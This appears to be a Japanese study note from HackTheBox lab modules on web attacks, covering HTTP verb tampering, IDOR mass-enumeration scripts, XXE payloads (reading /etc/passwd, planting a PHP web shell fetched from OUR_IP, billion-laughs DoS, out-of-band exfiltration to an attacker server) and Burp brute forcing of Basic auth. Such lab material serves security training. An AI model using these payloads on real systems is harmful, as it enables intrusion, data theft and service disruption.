$pattern = "/^[A-Za-z\s]+$/";

if(preg_match($pattern, $_GET["code"])) {
    $query = "Select * from ports where port_code like '%" . $_REQUEST["code"] . "%'";
    ...SNIP...
}

攻撃手法

Basic認証のバイパス

まず、どこがBasic認証で保護されているのかを確認する
次に、そのページが使っているHTTPメソッドを確認する必要がある

Burpの「Change Request Method」機能を使って、GETからPOSTに変更できる

POSTで、Basic認証が突破できなかったので、POSTでも保護されていることがわかる

サーバーが許可しているHTTPメソッドを確認

snowyowl644@htb[/htb]$ curl -i -X OPTIONS http://SERVER_IP:PORT/

HTTP/1.1 200 OK
Date: 
Server: Apache/2.4.41 (Ubuntu)
Allow: POST,OPTIONS,HEAD,GET
Content-Length: 0
Content-Type: httpd/unix-directory

サーバーがHEADメソッドを受け入れていることがわかる

エクスプロイト

セキュリティフィルターのバイパス

脆弱性の特定

エクスプロイト
Burpsuiteでメソッドを切り替えて、実行する

IDOR

概要

攻撃例

対策

識別方法

URL パラメータと API

基本的なケース

AJAX呼び出しの調査

AJAX呼び出しのコード

function changeUserPassword() {
    $.ajax({
        url:"change_password.php",
        type: "post",
        dataType: "json",
        data: {uid: user.uid, password: user.password, is_admin: is_admin},
        success:function(result){
            //
        }
    });
}

ハッシュ・エンコードの理解

ユーザーロールの比較

攻撃

大量 IDOR 列挙

静的ファイル IDOR

uid パラメータの操作

大量列挙(Mass Enumeration)

ファイルリンクの抽出

<li class='pure-tree_link'><a href='/documents/Invoice_3_06_2020.pdf' target='_blank'>Invoice</a></li>
<li class='pure-tree_link'><a href='/documents/Report_3_01_2020.pdf' target='_blank'>Report</a></li>
curl -s "http://SERVER_IP:PORT/documents.php?uid=3" | grep "<li class='pure-tree_link'>"
curl -s "http://SERVER_IP:PORT/documents.php?uid=3" | grep -oP "\/documents.*?.pdf"
#!/bin/bash
url="http://SERVER_IP:PORT"
for i in {1..10}; do
    for link in $(curl -s "$url/documents.php?uid=$i" | grep -oP "\/documents.*?.pdf"); do
        wget -q $url/$link
    done
done

エンコードされた参照の回避

ハッシュは、復号できない

関数の公開による失敗

function downloadContract(uid) {
    $.redirect("/download.php", {
        contract: CryptoJS.MD5(btoa(uid)).toString(),
    }, "POST", "_self");
}

ハッシュの復元と失敗

echo -n 1 | base64 -w 0 | md5sum

大量列挙(Mass Enumeration)

スクリプトでハッシュ生成とダウンロード

snowyowl644@htb[/htb]$ for i in {1..10}; do echo -n $i | base64 -w 0 | md5sum | tr -d ' -'; done

cdd96d3cc73d1dbdaffa03cc6cd7339b
0b7e7dee87b1c3b98e72131173dfbbbf
0b24df25fe628797b3a50ae0724d2730
f7947d50da7a043693a592b4db43b0a1
<SNIP>

生成したハッシュを使って他の人の資料もダウンロードできる

#!/bin/bash

for i in {1..10}; do
    for hash in $(echo -n $i | base64 -w 0 | md5sum | tr -d ' -'); do
        curl -sOJ -X POST -d "contract=$hash" http://SERVER_IP:PORT/download.php
    done
done

APIのIDOR脆弱性

{
    "uid": 1,
    "uuid": "40f5888b67c748df7efba008e7c2f9d2",
    "role": "employee",
    "full_name": "Amy Lindon",
    "email": "a_lindon@employees.htb",
    "about": "A Release is like a boat. 80% of the holes plugged is not good enough."
}

不正なAPI呼び出しの試行

情報漏洩型IDORの検証

情報漏洩型IDORが成功する例

IDORの連携攻撃

{
    "uid": "X",
    "uuid": "a36fa9e66e85f2dd6f5e13cad45248ae",
    "role": "web_admin",
    "full_name": "administrator",
    "email": "webadmin@employees.htb",
    "about": "HTB{FLAG}"
}

自分のロールを変更して管理者になる
1. プロフィール更新時のリクエストをBurpなどでキャプチャ
2. JSON内の "role": "employee" を "web_admin" に書き換えて送信
3. エラーが出なければ成功。GETで確認すると、ロールが変更されている

XXE

XML DTD(Document Type Definition)

以下はメール構造XMLのためのDTDの例

<!DOCTYPE email [
  <!ELEMENT email (date, time, sender, recipients, body)>
  <!ELEMENT recipients (to, cc?)>
  <!ELEMENT cc (to*)>
  <!ELEMENT date (#PCDATA)>
  <!ELEMENT time (#PCDATA)>
  <!ELEMENT sender (#PCDATA)>
  <!ELEMENT to  (#PCDATA)>
  <!ELEMENT body (#PCDATA)>
]>

XMLエンティティ(Entities)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
  <!ENTITY company "Inlane Freight">
]>

外部XMLエンティティも参照可能な点

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
  <!ENTITY company SYSTEM "http://localhost/company.txt">
  <!ENTITY signature SYSTEM "file:///var/www/html/signature.txt">
]>

ローカルファイルの開示

脆弱性の識別

このPOSTの出力からわかること

レスポンスからわかること

カスタムエンティティの挿入

レスポンスからわかること

JSONの場合

機密ファイルの読み取り

<!DOCTYPE email [
  <!ENTITY company SYSTEM "file:///etc/passwd">
]>


今度は &company; に /etc/passwd ファイルの内容が展開され、画面に表示される

読み出せるファイル

ソースコードの読み取り

DTDとエンティティ

<!DOCTYPE email [
  <!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>

index.php のbase64文字列が出力されている様子

XXEによるRCE

最も簡単な方法は

Webシェルを配置する最も確実な方法

  1. 自分のマシンに簡単なWebシェルを作成
snowyowl644@htb[/htb]$ echo '<?php system($_REQUEST["cmd"]);?>' > shell.php
snowyowl644@htb[/htb]$ sudo python3 -m http.server 8080
  1. ターゲットサーバーにcurlでシェルをダウンロードさせる
<?xml version="1.0"?>
<!DOCTYPE email [
  <!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'OUR_IP:8080/shell.php'">
]>
<root>
<name></name>
<tel></tel>
<email>&company;</email>
<message></message>
</root>

⚠️ 注意

SSRF

DoS

<?xml version="1.0"?>
<!DOCTYPE email [
  <!ENTITY a0 "DOS" >
  <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
  <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
  <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
  <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
  <!ENTITY a5 "&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;">
  <!ENTITY a6 "&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;">
  <!ENTITY a7 "&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;">
  <!ENTITY a8 "&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;">
  <!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;">        
  <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;">        
]>
<root>
<name></name>
<tel></tel>
<email>&a10;</email>
<message></message>
</root>

CDATA を用いた高度な情報漏洩

echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd
python3 -m http.server 8000

XMLとして、これを送信する

<!DOCTYPE email [
  <!ENTITY % begin "<![CDATA[">
  <!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php">
  <!ENTITY % end "]]>">
  <!ENTITY % xxe SYSTEM "http://OUR_IP:8000/xxe.dtd">
  %xxe;
]>
...
<email>&joined;</email> <!-- reference the &joined; entity to print the file content -->

ErrorベースXXE

エラーを起こさせる方法

まず、以下のペイロードを含むDTDファイルをホスティングする

<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">
<!DOCTYPE email [ 
  <!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
  %remote;
  %error;
]>

アウトオブバンド(OOB)データ抽出

攻撃者のサーバーでホストするコード
index.php

<?php
if(isset($_GET['content'])){
    error_log("\n\n" . base64_decode($_GET['content']));
}
?>

自分のマシンでPHPサーバーを立てる

php -S 0.0.0.0:8000

送信するxmlペイロード

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [ 
  <!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
  %remote;
  %oob;
]>
<root>&content;</root>

自動化されたOOBデータ抽出

git clone https://github.com/enjoiz/XXEinjector.git

HTTPリクエストの準備

POST /blind/submitDetails.php HTTP/1.1
Host: 10.129.201.94
Content-Length: 169
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://10.129.201.94
Referer: http://10.129.201.94/blind/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
XXEINJECT

攻撃の実行

ruby XXEinjector.rb --host=[tun0 IP] --httpport=8000 --file=/tmp/xxe.req --path=/etc/passwd --oob=http --phpfilter

...SNIP...
[+] Sending request with malicious XML.
[+] Responding with XML for: /etc/passwd
[+] Retrieved data:

各オプションの意味

ログファイルでの確認

 cat Logs/10.129.201.94/etc/passwd.log 

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...SNIP..

ベーシック認証へのブルートフォース

Linux・Windows共通のffufでもやってる

目的 : Basic Authentication を利用しているウェブサイトに対してブルートフォース攻撃、辞書攻撃を行い、ログイン資格情報を取得する。

Basic Authenticationはこんなやつ↓

  1. ターゲットにアクセス

  2. Basic Authentication のリクエストを取得

    • ポップアップが表示されるので、適当な ユーザー名とパスワード を入力し、ログインを試みる。
    • Burp Suite を使用して、このリクエストをキャプチャする。
  3. Burp Suite の Intruder にリクエストを送信

    • キャプチャしたリクエストを 右クリック → "Send to Intruder" で Intruder に送る。
  4. Authorization ヘッダーのデコード

    • "Positions" タブ に移動し、Authorization ヘッダーの base64 エンコードされた認証情報 をデコードする(base64 decode)。
      BurpでBase64デコードする手順
  5. パスワードリストを設定

    • "Payloads" タブ に移動し、"Payload type" を "Simple list" に設定する。
    • 使用するパスワードリストを選択
    • AttackBox の場合:
    • /usr/share/wordlists/SecLists/Passwords/Common-Credentials/500-worst-passwords.txt
  6. ペイロードの処理ルールを追加

    1. ユーザー名とパスワードを一緒に特殊文字で囲む
      • 例えば "admin:123456" の形式にする。
    2. base64 エンコード
      • ユーザー名とパスワードを base64 エンコードし、Authorization ヘッダーに適用。
    3. "="(イコール)を削除
      - base64 ではパディングに「=」が使用されるため、エンコードから文字「=」(等号)も削除する
      - 「Payload encoding」の中に=を加える
      上の設定を全て行ったときの画面
  7. 攻撃の実行

    • "Positions" タブ に戻り、"Start Attack" をクリック。
  8. 成功したレスポンスを確認

    • ステータスコード 200 を確認する。
    • ステータス 200 が返ってきたリクエストの Authorization ヘッダーをデコードすると、正しい資格情報(username:password)が判明する。
      ステータスコードが200の、ログインできる認証情報を発見した画面
  9. 入手した資格情報でログイン

    • 成功したユーザー名とパスワード を使用し、ウェブサイトにログインする。
    • フラグが表示される。